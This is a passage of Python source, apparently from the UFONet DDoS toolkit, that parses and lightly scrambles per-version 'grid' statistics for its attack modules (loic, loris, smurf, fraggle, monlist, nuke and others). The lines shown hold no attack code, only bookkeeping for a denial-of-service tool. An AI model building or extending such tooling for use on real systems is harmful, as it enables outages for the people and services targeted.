  795. grid_attacks = m[7][0:4] # attacks
  796. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  797. grid_loic = m[8][0:4] # loic
  798. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  799. if version > 18: # v1.5
  800. grid_loris = m[9][0:4] # loris
  801. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  802. grid_ufosyn = m[10][0:4] # ufosyn
  803. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  804. grid_spray = m[11][0:4] # spray
  805. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  806. grid_smurf = m[12][0:4] # smurf
  807. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  808. grid_xmas = m[13][0:4] # xmas
  809. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  810. grid_nuke = m[14][0:4] # nuke
  811. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  812. grid_tachyon = m[15][0:4] # tachyon
  813. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  814. grid_monlist = m[16][0:4] # monlist
  815. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  816. grid_fraggle = m[17][0:4] # fraggle
  817. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  818. grid_sniper = m[18][0:4] # sniper
  819. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  820. grid_ufoack = m[19][0:4] # ufoack
  821. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  822. grid_uforst = m[20][0:4] # uforst
  823. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  824. grid_droper = m[21][0:4] # droper
  825. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  826. grid_overlap = m[22][0:4] # overlap
  827. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  828. grid_pinger = m[23][0:4] # pinger
  829. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  830. grid_ufoudp = m[24][0:4] # ufoudp
  831. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  832. try:
  833. grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
  834. except:
  835. grid_contact= "invalid"
  836. try:
  837. grid_id = m[26] # id (plain id)
  838. except:
  839. grid_id = "invalid!"
  840. if version == 18: # v1.4
  841. grid_loris = m[9][0:4] # loris
  842. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  843. grid_ufosyn = m[10][0:4] # ufosyn
  844. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  845. grid_spray = m[11][0:4] # spray
  846. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  847. grid_smurf = m[12][0:4] # smurf
  848. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  849. grid_xmas = m[13][0:4] # xmas
  850. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  851. grid_nuke = m[14][0:4] # nuke
  852. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  853. grid_tachyon = m[15][0:4] # tachyon
  854. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  855. grid_monlist = m[16][0:4] # monlist
  856. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  857. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  858. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  859. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  860. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  861. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  862. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  863. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  864. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  865. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  866. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  867. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  868. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  869. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  870. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  871. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  872. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  873. try:
  874. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  875. except:
  876. grid_contact= "invalid"
  877. try:
  878. grid_id = m[18] # id (plain id)
  879. except:
  880. grid_id = "invalid!"
  881. if version == 17: # v1.3
  882. grid_loris = m[9][0:4] # loris
  883. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  884. grid_ufosyn = m[10][0:4] # ufosyn
  885. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  886. grid_spray = m[11][0:4] # spray
  887. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  888. grid_smurf = m[12][0:4] # smurf
  889. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  890. grid_xmas = m[13][0:4] # xmas
  891. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  892. grid_nuke = m[14][0:4] # nuke
  893. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  894. grid_tachyon = m[15][0:4] # tachyon
  895. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  896. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  897. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  898. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  899. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  900. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  901. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  902. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  903. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  904. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  905. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  906. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  907. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  908. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  909. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  910. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  911. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  912. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  913. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  914. try:
  915. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  916. except:
  917. grid_contact= "invalid"
  918. try:
  919. grid_id = m[17] # id (plain id)
  920. except:
  921. grid_id = "invalid!"
  922. elif version == 16: # v1.2.1
  923. grid_loris = m[9][0:4] # loris
  924. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  925. grid_ufosyn = m[10][0:4] # ufosyn
  926. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  927. grid_spray = m[11][0:4] # spray
  928. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  929. grid_smurf = m[12][0:4] # smurf
  930. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  931. grid_xmas = m[13][0:4] # xmas
  932. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  933. grid_nuke = m[14][0:4] # nuke
  934. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  935. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  936. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  937. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  938. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  939. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  940. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  941. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  942. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  943. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  944. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  945. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  946. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  947. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  948. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  949. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  950. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  951. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  952. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  953. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  954. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  955. try:
  956. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  957. except:
  958. grid_contact= "invalid"
  959. try:
  960. grid_id = m[16] # id (plain id)
  961. except:
  962. grid_id = "invalid!"
  963. elif version == 15: # v1.2
  964. grid_loris = m[9][0:4] # loris
  965. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  966. grid_ufosyn = m[10][0:4] # ufosyn
  967. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  968. grid_spray = m[11][0:4] # spray
  969. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  970. grid_smurf = m[12][0:4] # smurf
  971. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  972. grid_xmas = m[13][0:4] # xmas
  973. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  974. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  975. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  976. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  977. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  978. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  979. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  980. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  981. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  982. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  983. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  984. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  985. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  986. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  987. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  988. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  989. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  990. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  991. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  992. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  993. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  994. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  995. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  996. try:
  997. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  998. except:
  999. grid_contact= "invalid"
  1000. try:
  1001. grid_id = m[15] # id (plain id)
  1002. except:
  1003. grid_id = "invalid!"
  1004. elif version == 12: # v1.1
  1005. grid_loris = m[9][0:4] # loris
  1006. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1007. grid_ufosyn = m[10][0:4] # ufosyn
  1008. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1009. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1010. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1011. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1012. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1013. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1014. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1015. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1016. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1017. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1018. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1019. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1020. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1021. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1022. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1023. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1024. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1025. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1026. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1027. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1028. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1029. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1030. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1031. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1032. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1033. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1034. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1035. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1036. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1037. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  1038. try:
  1039. grid_id = m[12] # id (plain id)
  1040. except:
  1041. grid_id = "invalid!"
  1042. elif version == 11: # v1.0
  1043. grid_loris = m[9][0:4] # loris
  1044. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1045. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1046. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1047. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1048. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1049. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1050. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1051. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1052. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1053. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1054. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1055. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1056. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1057. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1058. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1059. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1060. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1061. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1062. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1063. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1064. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1065. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1066. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1067. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1068. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1069. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1070. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1071. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1072. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1073. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1074. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1075. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  1076. try:
  1077. grid_id = m[11] # id (plain id)
  1078. except:
  1079. grid_id = "invalid!"
  1080. elif version == 10: # v0.9
  1081. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  1082. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1083. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1084. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1085. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1086. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1087. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1088. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1089. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1090. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1091. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1092. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1093. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1094. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1095. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1096. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1097. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1098. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1099. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1100. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1101. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1102. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1103. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1104. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1105. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1106. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1107. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1108. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1109. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1110. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
